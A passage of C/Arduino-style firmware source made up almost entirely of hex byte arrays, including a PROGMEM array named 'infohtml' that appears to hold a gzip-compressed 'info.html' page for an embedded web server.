0x4e, 0x79, 0x49, 0x0b, 0x3a, 0xb4, 0x7c, 0x68, 0xea, 0x8c, 0x67, 0xc6, 0x33, 0x8f, 0xe7, 0x2d, 0xe3, 0xbd, 0x6e, 0xb7, 0x4b, 0xb7, 0xa5, 0xb4, 0x64, 0xf5, 0xcc, 0xad, 0x85, 0x61, 0xc2, 0xba, 0x92, 0x39, 0x2b, 0xcb, 0x05, 0xd5, 0xaa, 0x60, 0x43, 0xae, 0x64, 0xfa, 0xe3, 0xf2, 0x96, 0xae, 0x22, 0xf9, 0x94, 0x4a, 0xe7, 0x96, 0xf6, 0x34, 0x49, 0xe6, 0xd2, 0x95, 0xf5, 0xb4, 0x97, 0xeb, 0x45, 0x62, 0x97, 0x22, 0xe7, 0xb2, 0x2e, 0x95, 0xe3, 0xbc, 0x4c, 0xd8, 0x2e, 0x8f, 0x87, 0xa3, 0xd1, 0xa4, 0x60, 0x51, 0x43, 0xda, 0x50, 0xb7, 0x9b, 0xd1, 0x78, 0xef, 0x42, 0xe7, 0xee, 0x7e, 0xc9, 0x90, 0x5f, 0x54, 0x78, 0x5f, 0xb0, 0x13, 0x94, 0x97, 0xc2, 0x58, 0x76, 0xe9, 0x9f, 0xb7, 0x5f, 0xba, 0xc7, 0xb4, 0xa1, 0x2a, 0xb1, 0xe0, 0x74, 0x25, 0x79, 0xbd, 0xd4, 0xc6, 0x11, 0xe5, 0x1a, 0x7a, 0x95, 0x4b, 0x3b, 0x6b, 0x59, 0xb8, 0x32, 0x2d, 0x78, 0x05, 0x53, 0xba, 0xe1, 0xe5, 0x80, 0xa4, 0x92, 0x4e, 0x8a, 0xaa, 0x6b, 0x73, 0x51, 0x71, 0xda, 0xef, 0x1d, 0x1f, 0xd0, 0x02, 0xb4, 0x05, 0x48, 0xb5, 0xec, 0x3c, 0xd3, 0x08, 0x5b, 0x16, 0xdc, 0xcd, 0x75, 0xa5, 0xcd, 0x13, 0xa5, 0xbf, 0x1d, 0x8e, 0x0e, 0x4f, 0x0e, 0x3f, 0x3f, 0x67, 0x2d, 0xd8, 0xe6, 0x46, 0x2e, 0x9d, 0xd4, 0xea, 0x09, 0xeb, 0xe7, 0x9b, 0x6b, 0xef, 0x18, 0x5d, 0x34, 0x8e, 0x79, 0x19, 0x27, 0x5d, 0xc5, 0x59, 0x7b, 0x67, 0x9c, 0x44, 0x3a, 0x8d, 0x2b, 0xa9, 0xee, 0xc8, 0x70, 0x95, 0x5a, 0x77, 0x5f, 0xb1, 0x2d, 0x99, 0xe1, 0x91, 0xc7, 0x21, 0xed, 0x38, 0xfe, 0xe9, 0x92, 0xdc, 0xda, 0x0e, 0x95, 0x86, 0x67, 0x91, 0xa1, 0x87, 0x77, 0x8f, 0x43, 0x3c, 0x9e, 0xac, 0xc9, 0xd3, 0xce, 0x0f, 0x9b, 0x58, 0xe9, 0xb8, 0xf7, 0xc3, 0x76, 0xb2, 0x71, 0x12, 0x77, 0x76, 0xb0, 0xe4, 0x42, 0xb5, 0x59, 0xa6, 0xba, 0xb8, 0x27, 0xad, 0x2a, 0x2d, 0x8a, 0xb4, 0xe3, 0x9f, 0x57, 0x42, 0xcd, 0xf7, 0x3f, 0x78, 0xbb, 0x95, 0x58, 0xe1, 0x59, 0x57, 0x94, 0x57, 0xc2, 0xda, 0x74, 0xc1, 0xaa, 0xa6, 0x60, 0x6e, 0x36, 0x16, 0x8d, 0x3d, 0x5e, 0xa1, 0xbf, 0x2c, 0xa2, 0x42, 0x38, 0xd1, 0x75, 0x46, 0x28, 0x5b, 0x09, 0xc7, 0x61, 0x87, 0xb2, 0x1b, 0x3c, 0xc7, 0x89, 0x68, 0x09, 0x59, 0x59, 0xd8, 0x17, 0xa4, 0xfc, 0x16, 0xc4, 0x6e, 0x2e, 0x2f, 0xec, 0x96, 0x9c, 0x70, 0x4e, 0xe4, 0x77, 0xbb, 0x05, 0xe3, 0x1e, 0x44, 0xcf, 0xc2, 0x62, 0xfb, 0x4c, 0x76, 0x4e, 0xaa, 0xf9, 0x4b, 0xc7, 0x36, 0xbb, 0x38, 0xb9, 0x59, 0x45, 0x05, 0x49, 0xed, 0xa3, 0x30, 0x89, 0x38, 0x14, 0x72, 0x45, 0xb2, 0xc0, 0x15, 0x08, 0x57, 0x83, 0x73, 0x9c, 0x80, 0xd0, 0x90, 0x23, 0x3e, 0x3e, 0x06, 0x84, 0x54, 0x08, 0xe6, 0x67, 0x64, 0xa3, 0xd7, 0xd4, 0xe2, 0xab, 0xba, 0x83, 0xa1, 0xa7, 0x95, 0x83, 0x86, 0x54, 0xb2, 0xf0, 0x79, 0xf4, 0x1a, 0x88, 0xe5, 0xc0, 0x5f, 0x56, 0xed, 0x1c, 0xc2, 0xcd, 0x9b, 0x01, 0xe2, 0x3f, 0x6c, 0x34, 0xae, 0x2e, 0x47, 0x36, 0xde, 0xa5, 0x1d, 0x4f, 0xd9, 0xef, 0xe3, 0xe2, 0x3c, 0x3f, 0x9d, 0x5d, 0xc3, 0x87, 0xc8, 0xbe, 0x25, 0xf7, 0x4d, 0x71, 0x4b, 0x6c, 0xb0, 0x11, 0xbb, 0x81, 0x77, 0x08, 0xe8, 0xdd, 0xb2, 0xdf, 0x7f, 0x8f, 0xcb, 0x07, 0x59, 0x1f, 0x2e, 0x08, 0x95, 0xb6, 0xd9, 0x08, 0x65, 0x6c, 0xd0, 0xc6, 0x7f, 0x39, 0x2f, 0x1d, 0x65, 0xdf, 0x03, 0xf1, 0x89, 0xde, 0x06, 0xbf, 0x2d, 0x18, 0x77, 0xe2, 0x35, 0x0a, 0x81, 0x27, 0xa6, 0x5c, 0xd1, 0x4c, 0x9b, 0x34, 0x2f, 0xb7, 0xb0, 0x42, 0x99, 0x50, 0x0a, 0xdb, 0xd9, 0x79, 0x5c, 0x8c, 0x93, 0xc0, 0xbe, 0xeb, 0x84, 0x07, 0x85, 0x96, 0x2b, 0xce, 0x9d, 0x77, 0xcd, 0x2b, 0x0c, 0x59, 0x8d, 0x05, 0x36, 0x74, 0x4c, 0xeb, 0x95, 0xa8, 0x6a, 0xc4, 0x56, 0xb5, 0x23, 0xde, 0x40, 0xcb, 0xce, 0xf0, 0x78, 0xce, 0x3a, 0xa0, 0x6c, 0xd0, 0x22, 0xe1, 0xa2, 0x87, 0x2d, 0xd2, 0x21, 0x65, 0x87, 0x2d, 0xd2, 0x47, 0xca, 0x3e, 0xb6, 0x48, 0x47, 0x94, 0x1d, 0xb5, 0x48, 0x30, 0x7a, 0xd4, 0x22, 0x7d, 0xa2, 0xec, 0x53, 0x8b, 0x84, 0x22, 0x79, 0xdc, 0x22, 0x9d, 0x50, 0x76, 0xd2, 0x36, 0xb5, 0x0f, 0x5b, 0xfb, 0x6d, 0xa2, 0x77, 0xa0, 0xed, 0x81, 0x8f, 0xd5, 0x41, 0xdb, 0x87, 0x01, 0x9c, 0x18, 0xb4, 0xbd, 0x18, 0xc0, 0x0d, 0xfc, 0x50, 0x5d, 0x02, 0xb0, 0xbf, 0x70, 0xc9, 0xed, 0x44, 0x88, 0x61, 0x39, 0xf1, 0xc1, 0x3a, 0x71, 0x72, 0xc1, 0xc8, 0x8a, 0x48, 0xa2, 0x10, 0xb6, 0xb7, 0x20, 0xfd, 0x9f, 0x0b, 0x97, 0x6a, 0x59, 0xbb, 0x58, 0x5a, 0x55, 0xbd, 0x98, 0xfa, 0x94, 0x6b, 0x2c, 0x3f, 0xa2, 0x4d, 0x76, 0xdc, 0x06, 0xf5, 0xf6, 0x8d, 0xb6, 0xc7, 0x84, 0x5e, 0xfa, 0xa0, 0x5a, 0xc2, 0xa0, 0x86, 0x13, 0x1d, 0xb2, 0xed, 0x8a, 0x54, 0x33, 0x3d, 0x09, 0x3c, 0xd9, 0xe5, 0xd7, 0x2f, 0xdf, 0x4e, 0x3d, 0x5a, 0x78, 0xcb, 0xc6, 0x53, 0xb3, 0x11, 0xde, 0x51, 0x05, 0x26, 0x5e, 0x0c, 0x27, 0x74, 0xe9, 0xdc, 0xa7, 0x5e, 0xf4, 0x5a, 0xa8, 0x82, 0xd6, 0x42, 0x3a, 0x74, 0x61, 0x27, 0xab, 0xd0, 0x85, 0xa7, 0x70, 0x86, 0xae, 0x3e, 0x5f, 0x20, 0x47, 0xe9, 0x5e, 0xd7, 0x86, 0xa6, 0x5a, 0x98, 0x82, 0x5c, 0x6d, 0x94, 0x25, 0x3d, 0x9b, 0xd1, 0x3e, 0x1a, 0x9b, 0x4f, 0x95, 0x39, 0x5b, 0x72, 0x9a, 0xe6, 0x86, 0x59, 0x7d, 0x38, 0xf0, 0xb2, 0xde, 0x68, 0xaf, 0x1a, 0x92, 0x31, 0x57, 0x7b, 0xc1, 0x24, 0xdf, 0xfd, 0x99, 0xd6, 0x3c, 0x45, 0x1b, 0x75, 0x6c, 0x66, 0xe8, 0xe2, 0xb4, 0x96, 0x88, 0xfc, 0x29, 0xe3, 0x5c, 0xb1, 0x12, 0x12, 0xb0, 0x57, 0x4c, 0x45, 0x6d, 0x50, 0x38, 0x49, 0x50, 0x73, 0x57, 0x64, 0x37, 0x26, 0xc2, 0x8e, 0x28, 0x51, 0x8a, 0x15, 0xfb, 0x43, 0x0d, 0xa3, 0x54, 0x2a, 0x04, 0xc8, 0x5e, 0x73, 0xc2, 0x75, 0xc5, 0xc2, 0x32, 0x35, 0xe9, 0x88, 0x66, 0xe4, 0x3b, 0x12, 0x58, 0x85, 0x99, 0x73, 0xc3, 0xd4, 0xa0, 0xb4, 0x1b, 0xa1, 0x80, 0x69, 0x21, 0x2d, 0x50, 0xc7, 0xe5, 0xa1, 0xfe, 0x5e, 0xc2, 0x19, 0xaf, 0x51, 0xcf, 0x60, 0x01, 0xcc, 0xe4, 0x9f, 0x4b, 0x68, 0xc6, 0x6d, 0xb0, 0x31, 0xda, 0x1c, 0xd0, 0x32, 0x1e, 0xd8, 0x14, 0x2a, 0x0f, 0x9c, 0xef, 0x9e, 0xc1, 0xda, 0x4a, 0xeb, 0x3b, 0x12, 0x2e, 0x12, 0xd9, 0x60, 0x6e, 0xa0, 0x85, 0xc6, 0x00, 0x01, 0xdc, 0x66, 0xfe, 0x57, 0x9b, 0x30, 0xaf, 0x14, 0x3c, 0xad, 0xe7, 0x73, 0x78, 0xdc, 0x7b, 0xb0, 0x2c, 0xf1, 0xb7, 0x5f, 0x7a, 0x5b, 0xcb, 0x61, 0x16, 0xec, 0xcc, 0xce, 0xf2, 0x9c, 0xd1, 0xac, 0xaf, 0x35, 0xb0, 0xb3, 0x0d, 0xe3, 0x69, 0xe3, 0x03, 0xc2, 0x4d, 0x2c, 0xbf, 0xd6, 0x0b, 0xdf, 0x4a, 0x62, 0x04, 0x24, 0x90, 0xc3, 0xb4, 0x10, 0xe0, 0x0c, 0xbb, 0xb7, 0x61, 0x89, 0x8d, 0x40, 0x7b, 0xac, 0xc5, 0x8f, 0xc5, 0x3b, 0x20, 0x86, 0x3a, 0xb4, 0xdf, 0x3f, 0x70, 0xa6, 0xe6, 0xed, 0x5a, 0x1c, 0x39, 0x26, 0xa1, 0x5e, 0x35, 0xf8, 0x62, 0xbd, 0x5d, 0xde, 0x77, 0xaa, 0x9c, 0x89, 0xca, 0xee, 0xd0, 0x89, 0xc9, 0xe7, 0x89, 0xd6, 0xcd, 0x5b, 0x4b, 0xef, 0x73, 0x20, 0x1e, 0xfb, 0x4a, 0x1b, 0x03, 0xeb, 0x5e, 0xc3, 0xc0, 0xba, 0x37, 0x60, 0x30, 0x78, 0x7f, 0x0c, 0x06, 0xef, 0x87, 0xc1, 0xb6, 0x06, 0x3f, 0xa3, 0xfa, 0x99, 0x03, 0x69, 0x51, 0x60, 0x2c, 0x0c, 0xaf, 0xdb, 0x00, 0xa9, 0xd7, 0xf0, 0x51, 0x6f, 0x80, 0x67, 0xf8, 0xfe, 0xf0, 0x0c, 0x7f, 0x09, 0x9e, 0xb6, 0x5e, 0x51, 0x14, 0xfb, 0xc3, 0x6d, 0x5d, 0x8a, 0x51, 0x6f, 0xf1, 0x78, 0x71, 0x76, 0x68, 0xfe, 0x66, 0x5a, 0xa3, 0x40, 0x65, 0x8f, 0xc8, 0xad, 0xd8, 0x58, 0x5f, 0x89, 0xb2, 0xbf, 0x9a, 0xc5, 0xb0, 0x37, 0xea, 0xf5, 0x1f, 0xf2, 0x35, 0x94, 0x95, 0xf0, 0x68, 0x86, 0xc4, 0x8e, 0xff, 0x6c, 0xc1, 0x57, 0xcb, 0xe6, 0xa3, 0xa4, 0x87, 0x2f, 0x04, 0x67, 0x90, 0xfc, 0xb9, 0xf5, 0x9f, 0x30, 0x9d, 0xa6, 0x20, 0xa5, 0x93, 0x69, 0x25, 0x30, 0xb1, 0x67, 0x7f, 0xcb, 0x3b, 0x19, 0x06, 0xc5, 0x7f, 0x1f, 0x54, 0xf8, 0x4a, 0x14, 0x67, 0xcc, 0xec, 0x1c, 0xd5, 0x5f, 0xba, 0xcd, 0x24, 0xd9, 0x18, 0xf7, 0x1f, 0x2d, 0x5d, 0x3f, 0xbc, 0x50, 0x0d, 0x00, 0x00};\nconst char infohtml[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x69, 0x6e, 0x66, 0x6f, 0x2e, 0x68, 0x74, 0x6d, 0x6c, 0x00, 0x9d, 0x58, 0x6b, 0x6f, 0xdb, 0x3a, 0x12, 0xfd, 0x2b, 0x53, 0xef, 0x87, 0x6d, 0x01, 0x3f, 0xf2, 0x00, 0x82, 0xde, 0xc2, 0x31, 0x56, 0x8d, 0x95, 0x46, 0x5b, 0xc7, 0x36, 0x6c, 0xa7, 0xd9, 0x7e, 0x2a, 0x68, 0x89, 0xb6, 0xd8, 0xc8, 0xa4, 0xae, 0x48, 0xd9, 0xf1, 0xc5, 0xfe, 0xf8, 0x3d, 0x43, 0xc9, 0x8f, 0xc4, 0xed, 0x22, 0xbb, 0x40, 0x60, 0x9b, 0xe4, 0xcc, 0x99, 0xe1, 0xbc, 0x99, 0xee, 0xbb, 0x56, 0xab, 0x45, 0xb3, 0x54, 0x59, 0xb2, 0x66, 0xe1, 0x36, 0xa2, 0x90, 0x84, 0xdf, 0x99, 0x8a, 0xa5, 0xb6, 0x32, 0xa1, 0x52, 0x27, 0xb2, 0x20, 0x97, 0x4a, 0xba, 0x8f, 0x66, 0x34, 0xa8, 0xb6, 0x3f, 0x51, 0xea, 0x5c, 0x6e, 0x3f, 0x75, 0x3a, 0x4b, 0xe5, 0xd2, 0x72, 0xde, 0x8e, 0xcd, 0xaa, 0x63, 0x73, 0x11, 0xcb, 0xb4, 0x4c, 0xb5, 0x93, 0x71, 0xda, 0x91, 0x36, 0xff, 0x78, 0x71, 0x75, 0xf5, 0x23, 0x91, 0xa2, 0x04, 0x77, 0x41, 0xad, 0x56, 0x8f, 0xba, 0xef, 0xfa, 0x26, 0x76, 0xdb, 0x5c, 0x82, 0x7f, 0x95, 0x61, 0xbd, 0x92, 0x4e, 0x50, 0x9c, 0x8a, 0xc2, 0x4a, 0x77, 0xfd, 0x30, 0xbb, 0x6d, 0x7d, 0xa4, 0xdd, 0xae, 0x16, 0x2b, 0x79, 0xbd, 0x56, 0x72, 0x93, 0x9b, 0xc2, 0x11, 0xc5, 0x06, 0xb8, 0xda, 0x5d, 0x37, 0x36, 0x2a, 0x71, 0xe9, 0x75, 0x22, 0xd7, 0x50, 0xa5, 0xe5, 0x17, 0x4d, 0x52, 0x5a, 0x39, 0x25, 0xb2, 0x96, 0x8d, 0x45, 0x26, 0xaf, 0xcf, 0xda, 0x1f, 0x9b, 0xb4, 0xc2, 0xde, 0x0a, 0x5b, 0xa5, 0x6a, 0xbc, 0x40, 0x84, 0x2e, 0x2b, 0xd9, 0x8a, 0x4d, 0x66, 0x8a, 0x23, 0xd0, 0xbf, 0x5d, 0x5e, 0x5d, 0xfe, 0x71, 0x19, 0xbe, 0x24, 0x4d, 0xa4, 0x8d, 0x0b, 0x95, 0x3b, 0x65, 0xf4, 0x11, 0x69, 0x38, 0x1d, 0xf3, 0xc5, 0xa8, 0x5f, 0x5f, 0x8c, 0x79, 0x9c, 0x72, 0x99, 0xec, 0xbd, 0x3e, 0xe9, 0x76, 0xaa, 0x7d, 0xea, 0x66, 0x4a, 0x3f, 0x51, 0x21, 0xb3, 0x6b, 0xeb, 0xb6, 0x99, 0xb4, 0xa9, 0x94, 0xb8, 0x11, 0xdb, 0xe1, 0xba, 0xe1, 0xe4, 0xb3, 0xeb, 0xc4, 0xd6, 0x36, 0x28, 0x2d, 0xe4, 0xa2, 0x22, 0x68, 0x63, 0xcd, 0x76, 0xa8, 0xc4, 0x93, 0x2d, 0xe2, 0xeb, 0xc6, 0x4f, 0xdb, 0xb1, 0xca, 0xc9, 0xf6, 0x4f, 0xdb, 0xe8, 0x75, 0x3b, 0xd5, 0x09, 0x48, 0xe6, 0x26, 0xd9, 0x92, 0xd1, 0x99, 0x11, 0xc9, 0x75, 0x83, 0x3f, 0x07, 0x42, 0x2f, 0xdf, 0x7f, 0x60, 0xa5, 0xb4, 0x58, 0xe3, 0xb3, 0xcc, 0x28, 0xce, 0x84, 0xb5, 0xd7, 0x2b, 0xa9, 0x4b, 0xf2, 0xba, 0xf4, 0xba, 0xa2, 0x16, 0x16, 0x0b, 0xdd, 0x66, 0x4f, 0x10, 0x25, 0xc2, 0x89, 0x96, 0x2b, 0x84, 0xb6, 0x99, 0x70, 0xd2, 0x9f, 0x50, 0x6f, 0x8a, 0xcf, 0x6e, 0x47, 0xbc, 0x62, 0xb2, 0x2a, 0xb1, 0xbf, 0xe1, 0xe2, 0x23, 0xb0, 0x4d, 0xa3, 0xbe, 0x3d, 0xe1, 0x13, 0xce, 0x89, 0xf8, 0xe9, 0xd7, 0x8c, 0xd5, 0x19, 0x58, 0x03, 0xff, 0xe3, 0x54, 0xa6, 0x74, 0x4e, 0xe9, 0xe5, 0xef, 0xc4, 0xd6, 0xa7, 0x90, 0x5c, 0xff, 0xaa, 0x00, 0x3a, 0x25, 0x87, 0x58, 0xa7, 0xb2, 0x43, 0xa2, 0xd6, 0xa4, 0x12, 0xd8, 0x57, 0xb8, 0x12, 0x94, 0xdd, 0x0e, 0x36, 0xea, 0xed, 0xca, 0x3e, 0xec, 0x60, 0xa1, 0x34, 0x22, 0xf5, 0xc5, 0x76, 0x61, 0x36, 0xf4, 0x8a, 0x2e, 0x6b, 0x9d, 0x5f, 0xf0, 0x5e, 0x7a, 0x5e, 0x6f, 0xa5, 0x52, 0x70, 0x92, 0xf4, 0x6e, 0x0a, 0x99, 0x28, 0x07, 0xe9, 0xe9, 0x39, 0x1f, 0x5f, 0xf4, 0xfa, 0xca, 0x82, 0x42, 0xad, 0x38, 0x16, 0xb0, 0xa4, 0x6e, 0xfe, 0x5a, 0xf7, 0x64, 0x4f, 0x01, 0x44, 0x9f, 0x85, 0x79, 0x61, 0x7e, 0xca, 0xd8, 0x71, 0x12, 0x0a, 0x5e, 0x98, 0x05, 0xe1, 0x0f, 0xda, 0xc5, 0x12, 0xb1, 0xb0, 0x40, 0xd8, 0x3a, 0x69, 0xf9, 0x96, 0x24, 0x74, 0x42, 0x32, 0x29, 0x63, 0xc1, 0x11, 0x2a, 0x32, 0xca, 0xcb, 0x22, 0x37, 0x56, 0xda, 0x76, 0x77, 0x5e, 0xf4, 0x68, 0x28, 0x95, 0xcf, 0x3b, 0x4e, 0xdd, 0x3a, 0x32, 0x9b, 0xa4, 0xc1, 0x0e, 0x0d, 0x69, 0xda, 0xff, 0x4a, 0x1b, 0x61, 0x69, 0x25, 0x85, 0x76, 0x84, 0xcd, 0x79, 0xa9, 0xb2, 0xc4, 0xa3, 0xdb, 0x32, 0x4e, 0x0f, 0x50, 0xf4, 0xb9, 0x84, 0x61, 0x39, 0x1a, 0x4c, 0x1c, 0x97, 0xc5, 0x3b, 0x0f, 0xed, 0x3f, 0x1e, 0x2c, 0x0a, 0x85, 0xe3, 0xd8, 0xdb, 0x92, 0x58, 0xc2, 0x72, 0xd6, 0xd1, 0xd6, 0x94, 0x05, 0x99, 0x8d, 0x26, 0x2d, 0xdd, 0xc6, 0x14, 0xf0, 0x28, 0xeb, 0x58, 0xe5, 0xaa, 0x3d, 0xe2, 0x8d, 0x1c, 0x95, 0x40, 0xa7, 0xb5, 0xc8, 0x54, 0x42, 0x8f, 0xaa, 0x75, 0xab, 0x68, 0x51, 0x20, 0xe7, 0x2c, 0x55, 0x49, 0x37, 0x47, 0xe5, 0x51, 0xda, 0xeb, 0x1e, 0x85, 0x61, 0x48, 0x1f, 0xcf, 0x2e, 0xda, 0xe7, 0xe7, 0x04, 0xef, 0xe9, 0x44, 0x14, 0x49, 0x05, 0x6b, 0x40, 0xae, 0x8d, 0xa3, 0x79, 0x66, 0xe2, 0x27, 0xbe, 0x04, 0x8c, 0x59, 0x94, 0x30, 0x92, 0xd0, 0x5b, 0xc0, 0xc9, 0x3f, 0x4b, 0xa9, 0x63, 0xb5, 0xb3, 0xc7, 0x38, 0x93, 0x02, 0x2a, 0xc7, 0xa9, 0x04, 0x31, 0x03, 0x67, 0x72, 0x09, 0xa3, 0x15, 0x72, 0x59, 0x66, 0xde, 0x82, 0x96, 0x25, 0xfa, 0x1b, 0xc4, 0xa6, 0xd4, 0xae, 0xd8, 0xd2, 0x5c, 0xc2, 0x20, 0x12, 0xaa, 0xb2, 0xb5, 0x95, 0x6b, 0x1f, 0x2e, 0x50, 0x83, 0x25, 0x46, 0xff, 0xdd, 0x01, 0x62, 0xc1, 0x76, 0x36, 0x40, 0x3d, 0xf2, 0x1f, 0xac, 0xdb, 0xf8, 0x29, 0x56, 0xf0, 0x6c, 0xa3, 0xc9, 0x0b, 0xd8, 0xca, 0xd7, 0x52, 0x14, 0x26, 0xe8, 0xcd, 0x0a, 0x14, 0xf2, 0xe0, 0x34, 0xf6, 0xf1, 0x31, 0x7b, 0x65, 0xac, 0x68, 0xc1, 0x0a, 0x41, 0x4c, 0x73, 0x6f, 0x6a, 0x9c, 0xaf, 0x3d, 0xbf, 0x70, 0xd5, 0x99, 0x4a, 0x58, 0x07, 0x0f, 0xed, 0xcd, 0xc3, 0xb7, 0x07, 0x12, 0x34, 0x06, 0xe4, 0x86, 0xc9, 0x5e, 0xa8, 0xe5, 0x69, 0x2c, 0x7b, 0xba, 0x36, 0x4b, 0x39, 0xcf, 0x94, 0xf5, 0xf4, 0x75, 0x89, 0x23, 0x31, 0x37, 0x65, 0xcd, 0xb5, 0x41, 0x0c, 0xf1, 0x62, 0xf7, 0xed, 0x23, 0x32, 0xc7, 0x6d, 0xe5, 0x73, 0x9e, 0x09, 0xed, 0xed, 0x46, 0x36, 0x35, 0x9b, 0x23, 0x8d, 0xbc, 0x9a, 0x89, 0x61, 0x8d, 0x7d, 0xb4, 0xe2, 0xa6, 0x31, 0xda, 0xc9, 0x93, 0x6d, 0xd2, 0x02, 0x2e, 0x66, 0xdf, 0x75, 0xb0, 0xbf, 0x32, 0x5a, 0x6e, 0xbd, 0x23, 0x53, 0xb1, 0x96, 0x70, 0x24, 0xec, 0x61, 0x73, 0x56, 0x91, 0xb9, 0x14, 0x54, 0xc9, 0x32, 0xac, 0x4a, 0xb6, 0x91, 0x97, 0xe9, 0xb6, 0xcd, 0x0a, 0xcc, 0xac, 0x56, 0x25, 0x0a, 0x3e, 0xfb, 0x07, 0x7a, 0x27, 0x2c, 0x88, 0x61, 0xf8, 0x6c, 0xa1, 0x96, 0x69, 0x05, 0x20, 0x70, 0xea, 0x1c, 0x34, 0x7d, 0x54, 0x08, 0xae, 0x5d, 0xe0, 0x1c, 0xb9, 0xf0, 0xd6, 0xeb, 0xc0, 0xdd, 0x4e, 0x83, 0x7e, 0x55, 0x5d, 0x65, 0xad, 0x50, 0x64, 0x3f, 0x55, 0x44, 0x75, 0xed, 0x69, 0xfc, 0xcf, 0xad, 0xae, 0xd1, 0x7b, 0x33, 0x69, 0x5d, 0xa8, 0xf2, 0xaa, 0x5c, 0x04, 0xf1, 0x93, 0x36, 0x9b, 0x4c, 0x26, 0x4b, 0xf4, 0x28, 0xed, 0x0b, 0x89, 0x2f, 0x1a, 0x3d, 0x0a, 0x28, 0x2d, 0x97, 0x92, 0x6d, 0xac, 0x91, 0x54, 0xce, 0xd4, 0x2a, 0xfa, 0x02, 0x77, 0x54, 0x27, 0xbd, 0xae, 0x2f, 0x55, 0x4d, 0x38, 0xc3, 0x8d, 0x56, 0xa6, 0x44, 0x8b, 0x71, 0xa2, 0x58, 0xa2, 0xd1, 0xfe, 0x98, 0xc3, 0x77, 0x4f, 0xd4, 0xfb, 0xc7, 0xd1, 0xe1, 0x49, 0xcd, 0xfd, 0x05, 0xd6, 0xcf, 0xc1, 0x56, 0x3f, 0x9f, 0xa2, 0xf8, 0xed, 0xb7, 0xf0, 0x67, 0x36, 0x37, 0x79, 0x86, 0xf8, 0x3d, 0xc5, 0xd8, 0x1f, 0xbd, 0x05, 0xc7, 0xc6, 0x29, 0x3b, 0xed, 0x14, 0xa5, 0x3e, 0x78, 0x0b, 0x86, 0x33, 0x73, 0xf3, 0xd7, 0x2f, 0x20, 0xaa, 0xfd, 0xb7, 0x20, 0x3c, 0x27, 0x62, 0xad, 0x92, 0xb4, 0x3c, 0xc5, 0xd8, 0x9d, 0xbc, 0x05, 0x65, 0xbc, 0xd1, 0x5f, 0x15, 0x02, 0x35, 0x3d, 0x85, 0xd9, 0x1f, 0x1d, 0xb5, 0x33, 0x0e, 0xed, 0x54, 0x66, 0xb9, 0xcf, 0xef, 0x3a, 0x31, 0x51, 0x46, 0x0b, 0x76, 0x21, 0xf9, 0xb4, 0xb7, 0x5c, 0xd2, 0x10, 0xea, 0x4c, 0xf1, 0xb2, 0x20, 0x21, 0x47, 0x9e, 0xa4, 0xcc, 0xab, 0x62, 0x46, 0x28, 0xbd, 0x6b, 0x79, 0x54, 0x93, 0x83, 0xcc, 0x9a, 0x43, 0x80, 0x91, 0x5c, 0xcb, 0x62, 0x8b, 0x14, 0x25, 0xae, 0xe3, 0x5e, 0x5a, 0x55, 0x8e, 0x33, 0x35, 0x2f, 0x20, 0x0e, 0x25, 0xa8, 0xe4, 0xf1, 0xb0, 0xca, 0xf0, 0x83, 0x94, 0xff, 0x16, 0x98, 0xaf, 0x92, 0x68, 0xc6, 0xda, 0x8e, 0xcb, 0xcc, 0xca, 0x5d, 0x5a, 0xb4, 0x0c, 0x62, 0xbf, 0x65, 0x6d, 0x72, 0x7e, 0x79, 0x76, 0x75, 0x62, 0x8f, 0x5f, 0x11, 0xfd, 0xda, 0xc2, 0xaf, 0x04, 0xcd, 0x19, 0x20, 0x4e, 0x8d, 0xee, 0x04, 0x45, 0x52, 0x2a, 0x6d, 0xfe, 0x69, 0x8d, 0x3e, 0x81, 0x3f, 0x3a, 0x7b, 0x13, 0xaa, 0x48, 0xc4, 0xa2, 0x28, 0x95, 0xeb, 0x04, 0xf5, 0x8f, 0x1f, 0x7d, 0xe3, 0xa6, 0x00, 0x3d, 0x45, 0xae, 0x09, 0xa8, 0x26, 0xf8, 0x3f, 0xe1, 0x87, 0xd2, 0x8c, 0xd5, 0xb3, 0xcc, 0x7e, 0x8f, 0xbf, 0xa3, 0x78, 0x93, 0x80, 0x21, 0xc6, 0x6a, 0x54, 0x20, 0xfd, 0xa8, 0x50, 0x6e, 0x5c, 0xa7, 0x3f, 0xbd, 0xbc, 0xb8, 0x3c, 0x3f, 0xc1, 0xae, 0xb6, 0xdf, 0x04, 0xf8, 0x8c, 0x36, 0x86, 0x32, 0x2d, 0xff, 0xea, 0xac, 0xb6, 0x7f, 0x5c, 0x3c, 0x9f, 0x16, 0x8a, 0x6a, 0xfb, 0x28, 0x98, 0x1f, 0xd1, 0x0c, 0xf6, 0x51, 0x47, 0xa1, 0xcd, 0xd1, 0x01, 0xac, 0x5a, 0xec, 0xaa, 0xb9, 0x2a, 0x8e, 0x6a, 0xfd, 0x3e, 0xd0, 0xc4, 0x46, 0x5a, 0xb3, 0xe2, 0x46, 0xae, 0x72, 0x4f, 0x29, 0xb2, 0xcc, 0x47, 0xe6, 0xfe, 0xf9, 0x52, 0xf5, 0x94, 0x22, 0xf1, 0x8b, 0x3a, 0x2e, 0xc1, 0x57, 0xa0, 0xab, 0xbf, 0x68, 0x16, 0xbe, 0xcd, 0x63, 0x1c, 0x47, 0xbc, 0x97, 0xce, 0x14, 0x78, 0x40, 0x58, 0xdf, 0xc0, 0x78, 0xda, 0x59, 0x70, 0x63, 0x41, 0x27, 0x43, 0xb3, 0xae, 0x73, 0x64, 0x57, 0xa4, 0xeb, 0x27, 0xd0, 0xa1, 0x36, 0x77, 0xe7, 0xbd, 0x48, 0xd7, 0x49, 0x67, 0xab, 0x31, 0x80, 0x1b, 0x51, 0xb1, 0x62, 0xf9, 0x9f, 0xba, 0x9d, 0x79, 0xef, 0x90, 0x64, 0x47, 0x6f, 0x28, 0xbf, 0xbe, 0x31, 0xf9, 0xb6, 0xf0, 0x3d, 0xeb, 0x7d, 0xfc, 0x81, 0x2e, 0xce, 0x2e, 0xce, 0x68, 0xba, 0x6b, 0x18, 0x34, 0x43, 0xc7, 0xd0, 0x78, 0xa8, 0x2c, 0x91, 0x6d, 0x47, 0xa3, 0x07, 0x8f, 0x10, 0x30, 0x13, 0xf2, 0x11, 0xd6, 0x80, 0x07, 0xe5, 0x7c, 0x4b, 0x4b, 0x0c, 0x94, 0x4e, 0x26, 0x4d, 0x1e, 0x7b, 0xfc, 0x2c, 0xc1, 0x6f, 0xaa, 0xa5, 0x6c, 0xb2, 0x3a, 0x3c, 0x0d, 0xc1, 0x2f, 0x88, 0x6b, 0x32, 0x73, 0x1e, 0x71, 0xfd, 